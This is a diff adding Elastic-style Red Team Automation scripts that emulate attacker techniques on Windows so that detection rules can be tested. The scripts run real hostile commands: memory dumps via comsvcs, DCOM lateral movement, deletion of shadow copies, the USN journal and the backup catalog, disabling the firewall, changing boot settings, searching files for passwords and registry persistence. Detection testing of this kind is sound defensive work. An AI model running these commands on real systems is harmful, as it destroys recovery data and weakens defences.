except socket.gaierror: + LOCAL_IP = "127.0.0.1" + + return LOCAL_IP + + +def get_winreg(): + try: + import _winreg as winreg + except ImportError: + import winreg + return winreg + + +# Multi-OS Support +WINDOWS = "windows" +MACOS = "macos" +LINUX = "linux" + +if sys.platform == "darwin": + CURRENT_OS = MACOS +elif sys.platform.startswith("win"): + CURRENT_OS = WINDOWS +else: + CURRENT_OS = LINUX + +if CURRENT_OS == WINDOWS: + CMD_PATH = os.environ.get("COMSPEC") + POWERSHELL_PATH = 'C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' +else: + CMD_PATH = "/bin/sh" + POWERSHELL_PATH = None + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +ALL_IP = "0.0.0.0" +IP_REGEX = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" +CALLBACK_REGEX = r"https?://" + IP_REGEX + r":\d+" + +USER_NAME = getpass.getuser().lower() + +SUCCESS = 0 +PYTHON_ERROR = 1 # Python does this internally, so we don't want to overwrite it +GENERAL_ERROR = 2 +MISSING_DEPENDENCIES = 3 +MISSING_PSEXEC = 4 +ACCESS_DENIED = 5 +UNSUPPORTED_RTA = 6 +MISSING_REMOTE_HOST = 7 + +# Amount of seconds a command should take at a minimum. +# This can allow for arbitrary slow down of scripts +MIN_EXECUTION_TIME = 0 + +MAX_HOSTS = 64 + +# Useful constants +HKLM = "hklm" +HKCU = "hkcu" +HKU = "hku" +HKCR = "hkcr" + +SZ = "sz" +EXPAND_SZ = "expand_sz" +MULTI_SZ = "multi_sz" +DWORD = "dword" + + +OS_MAPPING = {WINDOWS: [], MACOS: [], LINUX: []} + + +def requires_os(*os_list): + if len(os_list) == 1 and isinstance(os_list[0], (list, tuple)): + os_list = os_list[0] + + def decorator(f): + # Register this function with the support os mapping + for os_type in os_list: + OS_MAPPING[os_type].append(f.__module__.split(".")[-1]) + + @functools.wraps(f) + def decorated(*args, **kwargs): + if CURRENT_OS not in os_list: + filename = os.path.relpath(inspect.getsourcefile(f)) + func_name = f.__name__ + + log("Unsupported OS for {filename}:{func}(). Expected {os}".format( + filename=filename, func=func_name, os="/".join(os_list)), "!") + return UNSUPPORTED_RTA + return f(*args, **kwargs) + return decorated + return decorator + + +def check_dependencies(*paths): + missing = [] + for path in paths: + if not os.path.exists(path): + log("Missing dependency %s" % path, "!") + missing.append(path) + return len(missing) == 0 + + +def dependencies(*paths): + missing = [] + for path in paths: + if not os.path.exists(path): + missing.append(path) + + def decorator(f): + @functools.wraps(f) + def decorated(*args, **kwargs): + if len(missing): + log("Missing dependencies for %s:%s()" % (f.func_code.co_filename, f.func_code.co_name), "!") + for dep in missing: + print(" - %s" % os.path.relpath(dep, BASE_DIR)) + return MISSING_DEPENDENCIES + return f(*args, **kwargs) + return decorated + return decorator + + +def pause(): + time.sleep(0.5) + + +def get_path(*path): + return os.path.join(BASE_DIR, *path) + + +@contextlib.contextmanager +def temporary_file(contents, file_name=None): + handle, close = temporary_file_helper(contents, file_name) + + try: + yield handle + finally: + close() + + +def temporary_file_helper(contents, file_name=None): + if not (file_name and os.path.isabs(file_name)): + file_name = os.path.join(tempfile.gettempdir(), file_name or 'temp{:d}'.format(hash(contents))) + + with open(file_name, 'wb' if isinstance(contents, bytes) else 'w') as f: + f.write(contents) + + f = open(file_name, 'rb' if isinstance(contents, bytes) else 'r') + + def close(): + f.close() + os.remove(file_name) + + return f, close + + +def execute(command, hide_log=False, mute=False, timeout=30, wait=True, kill=False, drop=False, stdin=None, + shell=False, **kwargs): + """Execute a process and get the output.""" + command_string = command + close = None + + if isinstance(command, (list, tuple)): + command = [to_unicode(arg) for arg in command] + command_string = subprocess.list2cmdline(command) + + if shell: + command = command_string + else: + sys.stderr.write("Deprecation warning! Switch arguments to a list for common.execute()\n\n") + + if not hide_log: + print("%s @ %s > %s" % (USER_NAME, HOSTNAME, command_string)) + + if isinstance(stdin, (bytes, str, type(u""))): + stdin, close = temporary_file_helper(stdin) + + stdout = subprocess.PIPE + stderr = subprocess.STDOUT + + if drop or kill: + devnull = open(os.devnull, "w") + stdout = devnull + stderr = devnull + + start = time.time() + + p = subprocess.Popen(command, stdin=stdin or subprocess.PIPE, stdout=stdout, stderr=stderr, shell=shell, **kwargs) + + if kill: + delta = 0.5 + # Try waiting for the process to die + for _ in range(int(timeout / delta) + 1): + time.sleep(delta) + if p.poll() is not None: + return + + log("Killing process", str(p.pid)) + try: + p.kill() + time.sleep(0.5) + except OSError: + pass + elif wait: + output = '' + + if not stdin: + try: + p.stdin.write(os.linesep.encode('ascii')) + except IOError: + # this pipe randomly breaks when executing certain non-zero exit commands on linux + pass + + while p.poll() is None: + line = p.stdout.readline().decode('ascii', 'ignore') + if line: + output += line + if not (hide_log or mute): + print(line.rstrip()) + + output += p.stdout.read().decode('ascii', 'ignore') + output = output.strip() + + # Add artificial sleep to slow down command lines + end = time.time() + run_time = end - start + if run_time < MIN_EXECUTION_TIME: + time.sleep(MIN_EXECUTION_TIME - run_time) + + if not (hide_log or mute): + if p.returncode != 0: + print("exit code = %d" % p.returncode) + print("") + + if close: + close() + + return p.returncode, output + else: + if close: + close() + + return p + + +def log(message, log_type='+'): + print('[%s] %s' % (log_type, message)) + + +def copy_file(source, target): + log('Copying %s -> %s' % (source, target)) + shutil.copy(source, target) + + +def link_file(source, target): + log('Linking %s -> %s' % (source, target)) + execute(["ln", "-s", source, target]) + + +def remove_file(path): + if os.path.exists(path): + log('Removing %s' % path, log_type='-') + # Try three times to remove the file + for _ in range(3): + try: + os.remove(path) + except OSError: + time.sleep(0.25) + else: + return + + +def remove_directory(path): + if os.path.exists(path): + if os.path.isdir(path): + log('Removing directory {:s}'.format(path), log_type='-') + shutil.rmtree(path) + else: + remove_file(path) + + +def is_64bit(): + return os.environ.get('PROCESSOR_ARCHITECTURE', "") in ('x64', 'AMD64') + + +def remove_files(*paths): + for path in paths: + remove_file(path) + + +def clear_web_cache(): + log("Clearing temporary files", log_type="-") + execute(["RunDll32.exe", "InetCpl.cpl,", "ClearMyTracksByProcess", "8"], hide_log=True) + time.sleep(1) + + +def serve_web(ip=None, port=None, directory=BASE_DIR): + handler = SimpleHTTPRequestHandler + + ip = ip or get_ip() + + if port is not None: + server = TCPServer((ip, port), handler) + else: + # Otherwise, try to find a port + for port in range(8000, 9000): + try: + server = TCPServer((ip, port), handler) + break + except socket.error: + pass + + def server_thread(): + log("Starting web server on http://{ip}:{port:d} for directory {dir}".format(ip=ip, port=port, dir=directory)) + os.chdir(directory) + server.serve_forever() + + # Start this thread in the background + thread = threading.Thread(target=server_thread) + thread.setDaemon(True) + thread.start() + + time.sleep(0.5) + return server, ip, port + + +def patch_file(source_file, old_bytes, new_bytes, target_file=None): + target_file = target_file or target_file + log("Patching bytes %s [%s] --> %s [%s]" % (source_file, binascii.b2a_hex(old_bytes), + target_file, binascii.b2a_hex(new_bytes))) + + with open(source_file, "rb") as f: + contents = f.read() + + patched = contents.replace(old_bytes, new_bytes) + + with open(target_file, "wb") as f: + f.write(patched) + + +def patch_regex(source_file, regex, new_bytes, target_file=None): + regex = regex.encode('ascii') + new_bytes = new_bytes.encode('ascii') + target_file = target_file or source_file + log("Patching by regex %s --> %s" % (source_file, target_file)) + + with open(source_file, "rb") as f: + contents = f.read() + + matches = re.findall(regex, contents) + + log("Changing %s -> %s" % (', '.join('{}'.format(m) for m in matches), new_bytes)) + contents = re.sub(regex, new_bytes, contents) + + with open(target_file, "wb") as f: + f.write(contents) + + +def wchar(s): + return s.encode('utf-16le') + + +def find_remote_host(): + log("Searching for remote Windows hosts") + _, stdout = execute("net view", hide_log=True) + hosts = re.findall(r"\\\\([\w\d\._-]+)", stdout) + + # _, current_user = execute("whoami", hide_log=True) + pending = {} + + log("Discovery %d possible hosts" % len(hosts)) + for name in hosts[:MAX_HOSTS]: + name = name.lower() + if name.split('.')[0] == HOSTNAME.split('.')[0]: + continue + + # log("Checking if %s has remote admin permissions to %s" % (current_user, name)) + dev_null = open(os.devnull, "w") + p = subprocess.Popen('sc.exe \\\\%s query' % name, + stdout=dev_null, + stderr=dev_null, + stdin=subprocess.PIPE) + pending[name] = p + + if len(pending) > 0: + # See which ones return first with a success code, and use that host + for _ in range(20): + for hostname, pending_process in sorted(pending.items()): + if pending_process.poll() is None: + pending_process.stdin.write(os.linesep) + if pending_process.returncode == 0: + # Now need to get the IP address + ip = get_ipv4_address(hostname) + if ip is not None: + log('Using remote host %s (%s)' % (ip, hostname)) + return ip + pending.pop(hostname) + time.sleep(0.5) + + log("Unable to find a remote host to pivot to. Using local host %s" % HOSTNAME, log_type="!") + return get_ip() + + +def get_ipv4_address(hostname): + if re.match(IP_REGEX, hostname): + return hostname + + code, output = execute(["ping", hostname, "-4", "-n", 1], hide_log=True) + if code != 0: + return None + + addresses = re.findall(IP_REGEX, output) + if len(addresses) == 0: + return None + return addresses[0] + + +def find_writeable_directory(base_dir): + for root, dirs, files in os.walk(base_dir): + for d in dirs: + subdir = os.path.join(base_dir, d) + try: + test_file = os.path.join(subdir, "test_file") + f = open(test_file, "w") + f.close() + os.remove(test_file) + return subdir + except IOError: + pass + + +def check_system(): + return USER_NAME == "system" or USER_NAME.endswith("$") + + +PS_EXEC = get_path("bin", "PsExec.exe") + + +def run_system(arguments=None): + if check_system(): + return None + + if arguments is None: + arguments = [sys.executable, os.path.abspath(sys.argv[0])] + sys.argv[1:] + + log("Attempting to elevate to SYSTEM using PsExec") + if not os.path.exists(PS_EXEC): + log("PsExec not found", log_type="-") + return MISSING_PSEXEC + + p = subprocess.Popen([PS_EXEC, "-w", os.getcwd(), "-accepteula", "-s"] + arguments) + p.wait() + code = p.returncode + if code == ACCESS_DENIED: + log("Failed to escalate to SYSTEM", "!") + return code + + +def write_reg(hive, key, value, data, data_type=None, restore=True, pause=False, append=False): + # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None + with temporary_reg(hive, key, value, data, data_type, restore, pause, append): + pass + + +def read_reg(hive, key, value): # type: (str, str, str) -> (str, str) + winreg = get_winreg() + + if isinstance(hive, strings): + hives = {'hklm': winreg.HKEY_LOCAL_MACHINE, + 'hkcu': winreg.HKEY_LOCAL_MACHINE, + 'hku': winreg.HKEY_USERS, + 'hkcr': winreg.HKEY_CLASSES_ROOT} + hive = hives[hive.lower()] + + try: + hkey = winreg.CreateKey(hive, key.rstrip("\\")) + old_data, old_type = winreg.QueryValueEx(hkey, value) + except WindowsError as e: + # check if the key already exists + if e.errno != 2: + raise + + return None, None + + return old_data, old_type + + +@contextlib.contextmanager +def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=False, append=False): + # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None + winreg = get_winreg() + + if isinstance(hive, strings): + hives = {'hklm': winreg.HKEY_LOCAL_MACHINE, + 'hkcu': winreg.HKEY_CURRENT_USER, + 'hku': winreg.HKEY_USERS, + 'hkcr': winreg.HKEY_CLASSES_ROOT} + hive = hives[hive.lower()] + + if isinstance(data_type, strings): + attr = 'REG_' + data_type.upper() + data_type = getattr(winreg, attr) + + if data_type is None: + data_type = winreg.REG_SZ + + key = key.rstrip('\\') + hkey = winreg.CreateKey(hive, key) + exists = False + old_data = None + old_type = None + + if hkey: + try: + old_data, old_type = winreg.QueryValueEx(hkey, value) + exists = True + except WindowsError as e: + # check if the key already exists + exists = False + old_data, old_type = None, None + if e.errno != 2: + raise + + if append and exists: + # If appending to the existing REG_MULTI_SZ key, then append to the end + if not isinstance(data, list): + data = [data] + + if isinstance(old_data, list): + data = old_data + data + + data_string = ','.join(data) if isinstance(data, list) else data + log("Writing to registry %s\\%s -> %s" % (key, value, data_string)) + winreg.SetValueEx(hkey, value, 0, data_type, data) + stored, code = winreg.QueryValueEx(hkey, value) + + if data != stored: + log("Wrote %s but retrieved %s" % (data, stored), log_type="-") + + # Allow code to execute within the context manager 'with' + try: + yield + + finally: + if restore: + time.sleep(0.5) + + if not exists: + # If it didn't already exist, then delete it + log("Deleting %s\\%s" % (key, value), log_type="-") + winreg.DeleteValue(hkey, value) + else: + # Otherwise restore the value + data_string = ','.join(old_data) if isinstance(old_data, list) else old_data + log("Restoring registry %s\\%s -> %s" % (key, value, data_string), log_type="-") + winreg.SetValueEx(hkey, value, 0, old_type, old_data) + + hkey.Close() + print("") + + if pause: + time.sleep(0.5) + + +def enable_logon_auditing(host='localhost', verbose=True, sleep=2): + """Enable logon auditing on local or remote system to enable 4624 and 4625 events.""" + if verbose: + log('Ensuring audit logging enabled on {}'.format(host)) + + auditpol = 'auditpol.exe /set /subcategory:Logon /failure:enable /success:enable' + enable_logging = "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList '{}'".format( + host, auditpol) + command = ['powershell', '-c', enable_logging] + enable = execute(command) + + # additional time to allow auditing to process + time.sleep(sleep) + return enable + + +def print_file(path): + print(path) + if not os.path.exists(path): + print('--- NOT FOUND ----') + else: + print('-' * 16) + with open(path, 'r') as f: + print(f.read().rstrip()) + + print('') diff --git a/rta/comsvcs_dump.py b/rta/comsvcs_dump.py new file mode 100644 index 000000000..0fe256d91 --- /dev/null +++ b/rta/comsvcs_dump.py @@ -0,0 +1,28 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Memory Dump via Comsvcs +# RTA: comsvcs_dump.py +# ATT&CK: T1117 +# Description: Invokes comsvcs.dll with rundll32.exe to mimic creating a process MiniDump. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Memory Dump via Comsvcs") + pid = os.getpid() + common.execute(["powershell.exe", "-c", "rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll", + "MiniDump", "{} dump.bin full".format(pid)]) + time.sleep(1) + common.remove_file("dump.bin") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dcom_lateral_movement_with_mmc.py b/rta/dcom_lateral_movement_with_mmc.py new file mode 100644 index 000000000..14574823c --- /dev/null +++ b/rta/dcom_lateral_movement_with_mmc.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: DCOM Lateral Movement with MMC +# RTA: dcom_lateral_movement_with_mmc.py +# ATT&CK: T1175 +# Description: Execute a command to simulate lateral movement using Distributed Component Object Model (DCOM) with MMC + +import sys + +from . import common + + +@common.requires_os("windows") +def main(remote_host=None): + remote_host = remote_host or common.get_ip() + common.log("DCOM Lateral Movement with MMC") + + common.log("Attempting to move laterally to {}".format(remote_host)) + remote_host = common.get_ipv4_address(remote_host) + common.log("Using IP address {}".format(remote_host)) + + # Prepare PowerShell command for DCOM lateral movement + + ps_command = """ + $dcom=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','{remote_host}')); + $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7'); + $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7'); + $dcom.quit(); + """.format(remote_host=remote_host) + + command = ["powershell", "-c", ps_command] + + # Execute command + common.execute(command, timeout=15, kill=True) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/delete_bootconf.py b/rta/delete_bootconf.py new file mode 100644 index 000000000..39509056a --- /dev/null +++ b/rta/delete_bootconf.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Boot Config Deletion With bcdedit +# RTA: delete_bootconf.py +# ATT&CK: T1107 +# signal.rule.name: Modification of Boot Configuration +# Description: Uses bcdedit.exe to backup the current boot configuration, and then to delete the current boot +# configuration, finally restoring the original. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # Messing with the boot configuration is probably not a great idea so create a backup: + common.log("Exporting the boot configuration....") + bcdedit = "bcdedit.exe" + backup_file = os.path.abspath("boot.cfg") + common.execute(["bcdedit.exe", "/export", backup_file]) + + # WARNING: this is a destructive command which might be super bad to run + common.log("Changing boot configuration", log_type="!") + common.execute([bcdedit, "/set", "{current}", "bootstatuspolicy", "ignoreallfailures"]) + common.execute([bcdedit, "/set", "{current}", "recoveryenabled", "no"]) + + # Restore the boot configuration + common.log("Restoring boot configuration from %s" % backup_file, log_type="-") + common.execute([bcdedit, "/import", backup_file]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/delete_catalogs.py b/rta/delete_catalogs.py new file mode 100644 index 000000000..954b26f6d --- /dev/null +++ b/rta/delete_catalogs.py @@ -0,0 +1,26 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Catalog Deletion with wbadmin.exe +# RTA: delete_catalogs.py +# ATT&CK: T1107 +# Description: Uses wbadmin to delete the backup catalog. + +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + warning = "Deleting the backup catalog may have unexpected consequences. Operational issues are unknown." + common.log("WARNING: %s" % warning, log_type="!") + time.sleep(2.5) + + common.execute(["wbadmin", "delete", "catalog", "-quiet"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/delete_usnjrnl.py b/rta/delete_usnjrnl.py new file mode 100644 index 000000000..4e571a669 --- /dev/null +++ b/rta/delete_usnjrnl.py @@ -0,0 +1,26 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: USN Journal Deletion with fsutil.exe +# RTA: delete_usnjrnl.py +# ATT&CK: T1107 +# signal.rule.name: Delete Volume USN Journal with Fsutil +# Description: Uses fsutil to delete the USN journal. + +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + message = "Deleting the USN journal may have unintended consequences" + common.log("WARNING: %s" % message, log_type="!") + time.sleep(2.5) + common.execute(["fsutil", "usn", "deletejournal", "/d", "C:"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/delete_volume_shadows.py b/rta/delete_volume_shadows.py new file mode 100644 index 000000000..22373a7b3 --- /dev/null +++ b/rta/delete_volume_shadows.py @@ -0,0 +1,26 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Volume Shadow Copy Deletion with vssadmin and wmic +# RTA: delete_volume_shadow.py +# signal.rule.name: Volume Shadow Copy Deletion via VssAdmin +# ELastic Detection: Volume Shadow Copy Deletion via WMIC +# ATT&CK: T1107 +# Description: Uses both vssadmin.exe and wmic.exe to delete volume shadow copies. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Deleting volume shadow copies...") + common.execute(["vssadmin.exe", "delete", "shadows", "/for=c:", "/oldest", "/quiet"]) + # Create a volume shadow copy so that there is at least one to delete + common.execute(["wmic.exe", "shadowcopy", "call", "create", "volume=c:\\"]) + common.execute(["wmic.exe", "shadowcopy", "delete", "/nointeractive"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/disable_windows_fw.py b/rta/disable_windows_fw.py new file mode 100644 index 000000000..df0cf752d --- /dev/null +++ b/rta/disable_windows_fw.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Disable Windows Firewall +# RTA: disable_windows_fw.py +# ATT&CK: T1089 +# signal.rule.name: Disable Windows Firewall Rules via Netsh +# Description: Uses netsh.exe to backup, disable and restore firewall rules. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("NetSH Advanced Firewall Configuration", log_type="~") + netsh = "netsh.exe" + + rules_file = os.path.abspath("fw.rules") + + # Check to be sure that fw.rules does not already exist from previously running this script + common.remove_file(rules_file) + + common.log("Backing up rules") + common.execute([netsh, "advfirewall", "export", rules_file]) + + common.log("Disabling the firewall") + common.execute([netsh, "advfirewall", "set", "allprofiles", "state", "off"]) + + common.log("Undoing the firewall change", log_type="-") + common.execute([netsh, "advfirewall", "import", rules_file]) + + common.remove_file(rules_file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/enum_commands.py b/rta/enum_commands.py new file mode 100644 index 000000000..030f1d9bb --- /dev/null +++ b/rta/enum_commands.py @@ -0,0 +1,74 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Common Enumeration Commands +# RTA: enum_commands.py +# ATT&CK: T1007, T1016, T1018, T1035, T1049, T1057, T1063, T1069, T1077, T1082, T1087, T1124, T1135 +# Description: Executes a list of administration tools commonly used by attackers for enumeration. + +import argparse +import random + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(args=None): + slow_commands = [ + "gpresult.exe /z", + "systeminfo.exe" + ] + + commands = [ + "ipconfig /all", + "net localgroup administrators", + "net user", + "net user administrator", + "net user /domain" + "tasklist", + "net view", + "net view /domain", + "net view \\\\%s" % common.get_ip(), + "netstat -nao", + "whoami", + "hostname", + "net start", + "tasklist /svc", + "net time \\\\%s" % common.get_ip(), + "net use", + "net view", + "net start", + "net accounts", + "net localgroup", + "net group", + "net group \"Domain Admins\" /domain", + "net share", + "net config workstation", + ] + + commands.extend(slow_commands) + + parser = argparse.ArgumentParser() + parser.add_argument('-s', '--sample', dest="sample", default=len(commands), type=int, + help="Number of commands to run, chosen at random from the list of enumeration commands") + args = parser.parse_args(args) + sample = min(len(commands), args.sample) + + if sample < len(commands): + random.shuffle(commands) + + common.log("Running {} out of {} enumeration commands\n".format(sample, len(commands))) + for command in commands[0:sample]: + + common.log("About to call {}".format(command)) + if command in slow_commands: + common.execute(command, kill=True, timeout=15) + common.log("[output suppressed]", log_type='-') + else: + common.execute(command) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/findstr_pw_search.py b/rta/findstr_pw_search.py new file mode 100644 index 000000000..84b14859f --- /dev/null +++ b/rta/findstr_pw_search.py @@ -0,0 +1,22 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Recursive Password Search +# RTA: findstr_pw_search.py +# ATT&CK: T1081 +# Description: Recursively searches files looking for the string "password". + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + path = "c:\\rta" + common.log("Searching for passwords on %s" % path) + common.execute(["dir", path, "/s", "/b", "|", "findstr", "password"], shell=True, timeout=15) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/globalflags.py b/rta/globalflags.py new file mode 100644 index 000000000..8bb9d1f22 --- /dev/null +++ b/rta/globalflags.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Persistence using GlobalFlags +# RTA: globalflags.py +# ATT&CK: T1183 +# Description: Uses GlobalFlags option in Image File Execution Options to silently execute calc.exe after the monitored +# process (notepad.exe) is closed. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Setting up persistence using Globalflags") + ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe" + spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe" + + with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), \ + common.temporary_reg(common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD), \ + common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"): + + common.log("Opening and closing netstat") + common.execute(["whoami"], shell=True) + common.execute(['taskkill', '/F', '/IM', 'netstat.exe']) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/hosts_file_modify.py b/rta/hosts_file_modify.py new file mode 100644 index 000000000..56778dcc1 --- /dev/null +++ b/rta/hosts_file_modify.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Hosts File Modified +# RTA: hosts_file_modify.py +# ATT&CK: T1492 +# Description: Modifies the hosts file + +import os +import random +import time + +from string import ascii_letters + +from . import common + + +def main(): + hosts_files = { + common.WINDOWS: "C:\\Windows\\system32\\drivers\\etc\\hosts", + common.LINUX: "/etc/hosts", + common.MACOS: "/private/etc/hosts" + } + hosts_file = hosts_files[common.CURRENT_OS] + + backup = os.path.abspath(hosts_file + '_backup') + common.log("Backing up original 'hosts' file.") + common.copy_file(hosts_file, backup) + + # add randomness for diffs for FIM module + randomness = ''.join(random.sample(ascii_letters, 10)) + entry = [ + '', + '# RTA hosts_modify was here', + '# 8.8.8.8 https://www.{random}.google.com'.format(random=randomness) + ] + with open(hosts_file, 'a') as f: + f.write('\n'.join(entry)) + + common.log('Updated hosts file') + with open(hosts_file, 'r') as f: + common.log(f.read()) + + time.sleep(2) + + # cleanup + common.log("Restoring hosts from backup copy.") + common.copy_file(backup, hosts_file) + os.remove(backup) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/installutil_network.py b/rta/installutil_network.py new file mode 100644 index 000000000..717c1d036 --- /dev/null +++ b/rta/installutil_network.py @@ -0,0 +1,58 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Network Traffic from InstallUtil +# RTA: installutil_network.py +# ATT&CK: T1118 +# Elastic detection: InstallUtil Process Making Network Connections +# Elastic detection: Unusual Network Activity from a Windows System Binary +# Description: Uses mock .NET malware and InstallUtil to create network activity from InstallUtil. + +import os +import sys + +from . import common + +MY_DOT_NET = common.get_path("bin", "mydotnet.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_DOT_NET) +def main(): + server, ip, port = common.serve_web() + common.clear_web_cache() + + target_app = "mydotnet.exe" + common.patch_file(MY_DOT_NET, common.wchar(":8000"), common.wchar(":%d" % port), target_file=target_app) + + install_util64 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe" + install_util86 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe" + fallback = False + + if os.path.exists(install_util64): + install_util = install_util64 + elif os.path.exists(install_util86): + install_util = install_util86 + else: + install_util = None + fallback = True + + if not fallback: + common.clear_web_cache() + common.execute([install_util, '/logfile=', '/LogToConsole=False', '/U', target_app]) + + else: + common.log("Unable to find InstallUtil, creating temp file") + install_util = os.path.abspath("InstallUtil.exe") + common.copy_file(sys.executable, install_util) + common.execute([install_util, "-c", "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port)]) + common.remove_file(install_util) + + common.remove_file(target_app) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/iqy_file_writes.py b/rta/iqy_file_writes.py new file mode 100644 index 000000000..d08ab9a03 --- /dev/null +++ b/rta/iqy_file_writes.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Suspicious IQY/PUB File Writes +# RTA: iqy_file_writes.py +# ATT&CK: T1140, T1192, T1193 +# Description: Generates four file writes related to file extensions (PUB, IQY) + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Suspicious File Writes (IQY, PUB)") + adobe_path = os.path.abspath("AcroRd32.exe") + msoffice_path = os.path.abspath("winword.exe") + browser_path = os.path.abspath("iexplore.exe") + common.copy_file(common.CMD_PATH, adobe_path) + common.copy_file(common.CMD_PATH, msoffice_path) + common.copy_file(common.CMD_PATH, browser_path) + common.log("Writing files") + + # write file as adobe, then run it + common.log("Creating a 'suspicious' executable") + bad_path = os.path.abspath("bad.exe") + + # PDF writing IQY file + fake_iqy = os.path.abspath("test.iqy") + common.execute([adobe_path, "/c", "echo", "test", ">", fake_iqy]) + + # PDF writing PUB file + fake_pub = os.path.abspath("test.pub") + common.execute([adobe_path, "/c", "echo", "test", ">", fake_pub]) + + # Winword writing IQY file + fake_doc_iqy = os.path.abspath("test_word.iqy") + common.execute([msoffice_path, "/c", "echo", "test", ">", fake_doc_iqy]) + + # Browser writing IQY file + fake_browser_iqy = os.path.abspath("test_browser.iqy") + common.execute([browser_path, "/c", "echo", "test", ">", fake_browser_iqy]) + + # cleanup + common.remove_files(adobe_path, bad_path, fake_iqy) + common.remove_files(adobe_path, bad_path, fake_pub) + common.remove_files(msoffice_path, bad_path, fake_doc_iqy) + common.remove_files(browser_path, bad_path, fake_browser_iqy) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/lateral_command_psexec.py b/rta/lateral_command_psexec.py new file mode 100755 index 000000000..11bf562fb --- /dev/null +++ 